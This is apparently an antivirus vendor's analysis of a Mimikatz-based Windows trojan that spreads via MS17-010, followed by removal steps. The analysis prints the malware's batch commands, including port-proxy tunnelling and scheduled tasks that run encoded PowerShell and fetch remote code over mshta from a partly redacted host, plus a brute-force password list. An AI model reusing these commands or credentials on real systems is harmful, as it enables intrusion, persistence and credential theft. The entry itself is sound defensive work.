Analysis by: John Anthony Banes
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It takes advantage of certain vulnerabilities.

  TECHNICAL DETAILS

File Size: 8,288,353 bytes
File Type: EXE
Memory Resident: Yes
Initial Samples Received Date: 26 Jan 2019
Payload: Connects to URLs/IPs, Acts as a proxy server, Adds scheduled tasks

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %Temp%\mkatz.ini - Mimikatz script output

(Note: %Temp% is the Windows temporary folder, where it usually is C:\Windows\Temp on all Windows operating system versions.)

It drops and executes the following files:

  • %Temp%\m.ps1 - obfuscated Mimikatz PowerShell script

(Note: %Temp% is the Windows temporary folder, where it usually is C:\Windows\Temp on all Windows operating system versions.)

Other Details

This Trojan does the following:

  • It connects to the following website(s) to download and execute a script:
    • http://v.{BLOCKED}h.com/v{user domain}
    • http://w.{BLOCKED}h.com/page.html?p{computer name}
  • Port 60124 serves as its mutex to allow only one instance running.
  • It deletes the user "k8h3d" if it exists, then it creates the same username afterwards on the infected machine and the vulnerable target machine.
  • It scans the local network to check for open port 445.
    If it finds a target with an open port 445, it will attempt to exploit MS17-010 vulnerability and perform the following commands:
    • Send one of the following files to the target and saved as %System Root%\installed.exe:
      • %Windows%\System32\svhost.exe
      • %Windows%\SysWOW64\svhost.exe
      • %Windows%\System32\drivers\svchost.exe
      • %Windows%\SysWOW64\drivers\svchost.exe
    • Send the file %Temp%\svchost.exe or %Temp%\svvhost.exe to the target saved as %Temp%\svchost.exe.
    • Create a batch file named %Temp%\p.bat containing the ff. commands:
      • netsh interface ipv6 install
      • netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53
      • netsh firewall add portopening tcp 65531 DNSS2
      • netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53
      • if exist %System%/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetooths" /tr "powershell -ep bypass -e {base-64 string}" /F) else start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&(schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?p{Computer Name}"&schtasks /run /TN Autocheck)
      • net start Ddriver
      • for /f %i in (\'tasklist ^| find /c /i "cmd.exe"\') do set s=%i
      • if gtr 10 (shutdown /r)
      • net user k8h3d /del
      • del %Temp%\p.bat
    • Attempt to execute the sent files on the target machine.

It takes advantage of the following vulnerabilities:

It adds the following scheduled tasks:

  • Task Name: DnsScan
    Task to be Run: %Temp%\svchost.exe
  • Task Name: \Microsoft\windows\Bluetooths
    Task to be Run: powershell -ep bypass -e {base-64 string}
  • Task Name: Autocheck
    Task to be Run: "cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?p%COMPUTERNAME%"
  • Task Name: Autoscan
    Task to be Run: %Temp%\svchost.exe

NOTES:

  • http://v.{BLOCKED}h.com/v{user domain}
  • http://w.{BLOCKED}h.com/page.html?p{computer name}

    • However, as of this writing, the said sites are inaccessible.

    It uses the following usernames and passwords to attempt logging in to the target machine:

    • Usernames:
    • Administrator
    • user
    • admin
    • test
    • k8h3d

    • Passwords:
      • 123456
      • password
      • qwerty
      • 12345678
      • 123456789
      • 123
      • 1234
      • 123123
      • 12345
      • 12345678
      • 123123123
      • 1234567890
      • 88888888
      • 111111111
      • 000000
      • 111111
      • 112233
      • 123321
      • 654321
      • 666666
      • 888888
      • a123456
      • 123456a
      • 5201314
      • 1qaz2wsx
      • 1q2w3e4r
      • qwe123
      • 123qwe
      • a123456789
      • 123456789a
      • baseball
      • dragon
      • football
      • iloveyou
      • password
      • sunshine
      • princess
      • welcome
      • abc123
      • monkey
      • !@#$%^&*
      • charlie
      • aa123456
      • k8d3j9SjfS7
      The file %Temp%\mkatz.ini is parsed to obtain the domain, usernames and passwords, which are also used to attempt to log into the target machine.

      SOLUTION

    Minimum Scan Engine: 9.850
    FIRST VSAPI PATTERN FILE: 14.786.05
    FIRST VSAPI PATTERN DATE: 01 Feb 2019
    VSAPI OPR PATTERN File: 14.787.00
    VSAPI OPR PATTERN Date: 02 Feb 2019

    Step 1

    Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

    Step 2

    Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

    Step 3

    Identify and terminate files detected as Trojan.Win32.MIMIKATZ.ADT

    [ Learn More ]
    1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
    2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
    3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

    Step 4

    Deleting Scheduled Tasks

    The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

    • Task Name: DnsScan
    • Task to be Run: %Temp%\svchost.exe
    • Task Name: \Microsoft\windows\Bluetooths
    • Task to be Run: powershell -ep bypass -e {base-64 string}
    • Task Name: Autocheck
    • Task to be Run: "cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?p%COMPUTERNAME%"
    • Task Name: Autoscan
    • Task to be Run: %Temp%\svchost.exe

    For Windows 2000, Windows XP, and Windows Server 2003:

    1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
      System Tools>Scheduled Tasks.
    2. Locate each {Task Name} values listed above in the Name column.
    3. Right-click on the said file(s) with the aforementioned value.
    4. Click on Properties. In the Run field, check for the listed {Task to be run}.
    5. If the strings match the list above, delete the task.

    For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

    1. Open the Windows Task Scheduler. To do this:
      • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
      • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
    2. In the left panel, click Task Scheduler Library.
    3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
    4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
    5. If the said string is found, delete the task.

    Step 5

    Search and delete this file

    [ Learn More ]
    There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
    • %Temp%\mkatz.ini
    • %Temp%\m.ps1
    • %Windows%\System32\svhost.exe
    • %Windows%\SysWOW64\svhost.exe
    • %Windows%\System32\drivers\svchost.exe
    • %Windows%\SysWOW64\drivers\svchost.exe
    • %Temp%\svchost.exe
    • %Temp%\svvhost.exe

    Step 6

    Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.MIMIKATZ.ADT. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

    Step 7

    Download and apply this security patch Refrain from using these products until the appropriate patches have been installed. Trend Micro advises users to download critical patches upon release by vendors.  Microsoft Security Bulletin MS17-010


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